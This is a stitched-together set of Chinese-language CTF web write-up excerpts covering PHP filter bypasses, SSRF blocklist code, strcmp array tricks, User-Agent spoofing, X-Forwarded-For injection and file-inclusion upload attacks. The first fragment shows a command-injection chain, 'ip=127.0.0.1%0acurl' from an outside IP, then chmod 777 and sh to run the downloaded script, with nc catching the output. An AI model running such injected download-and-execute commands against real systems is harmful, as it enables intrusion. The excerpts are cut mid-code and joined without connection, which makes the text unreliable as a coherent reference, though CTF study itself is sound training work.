ip=127.0.0.1%0acurl 36.xx.xx.223/flag.sh > /tmp/flag.sh 使用chmod命令远程修改已下载的flag.sh文件的可读写执行权限 ip=127.0.0.1%0achmod 777 /tmp/flag.sh 通过sh命令远程执行靶机中的flag.sh脚本 ip=127.0.0.1%0ash /tmp/flag.sh vps本地监听,且nc反弹出来靶机中的输出命令信息的内容包含了flag...
if(eregi("hackerDJ",$_GET[id])) { echo("not allowed!"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "Access granted!"; echo "flag: ***} "; } ?> Can you authenticate to this website? $_GET[id]在到值后已经自动urldecode了一...
(ip.isprivate(hostname)) { res.sendstatus( 400 ); } if (blocked_hosts.some( ( blockedhost ) => hostname.includes(blockedhost))) { res.sendstatus( 400 ); } const protocol = urlobj.protocol; if ( !allowed_protocols.some( ( allowedprotoco...
$digit = ord($temp{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { // Aha, digit not allowed! return "flase"; } } if($number == $temp) return $flag; } $temp = $_GET['password']; echo noother_says_correct($temp); ?>...
User-agent: * WHAT IS UP, MY FELLOW HUMAN!HAVE YOU RECEIVED SECRET INFORMATION ON THE DASTARDLY GOOGLE ROBOTS?!YOU CAN TELL ME, A FELLOW NOT-A-ROBOT! 伪造下use agents为 Googlebot/2.1(+http://www.google.com/bot.html) get flag 代码语言:javascript 代码运行次数:0 运行 AI代码解释 User-...
wrong"; } }else{ echo "pleasepass"; } ?> 考察PHP弱类型,的注解可以发现strcmp函数在比较失败,即传入数组,时会返回null。(还有一个比较有意思的是当一个字符串长度为0时,返回的是相互比较的两个字符串长度的差值。)所以post的数据为pass[]=起名字真难 nctf{followyour_dream} <?php ...
getIp() $ip = ; if (isset($_SERVER[HTTP_X_FORWARDED_FOR])) { $ip = $_SERVER[HTTP_X_FORWARDED_FOR]; } else { $ip = $_SERVER[REMOTE_ADDR]; } $ip_arr = explode(,, $ip); return $ip_arr[0]; } $ip = getIp(); echo your ip is :.$ip; $sql = "insert into client...
尝试上传php文件时回显Sorry,only PNG files are allowed.。 判断为服务端白名单验证,这里参考upload-labs题解思路进行测试。 测试无果,发现url的op参数首页为op=home上传页面为op=upload,猜测存在文件包含漏洞~ op=1回显:Errornosuch page。 参考: php 伪协议 ...
userdata = {"user" : "kaibro", "password" : "ggininder" } passwd = raw_input("Password: ") if passwd != userdata["password"]: print ("Password " + passwd + " is wrong for user %(user)s") % userdata f python 3.6 example a="gg" b=f"{a} ininder" >>> gg ininder exa...
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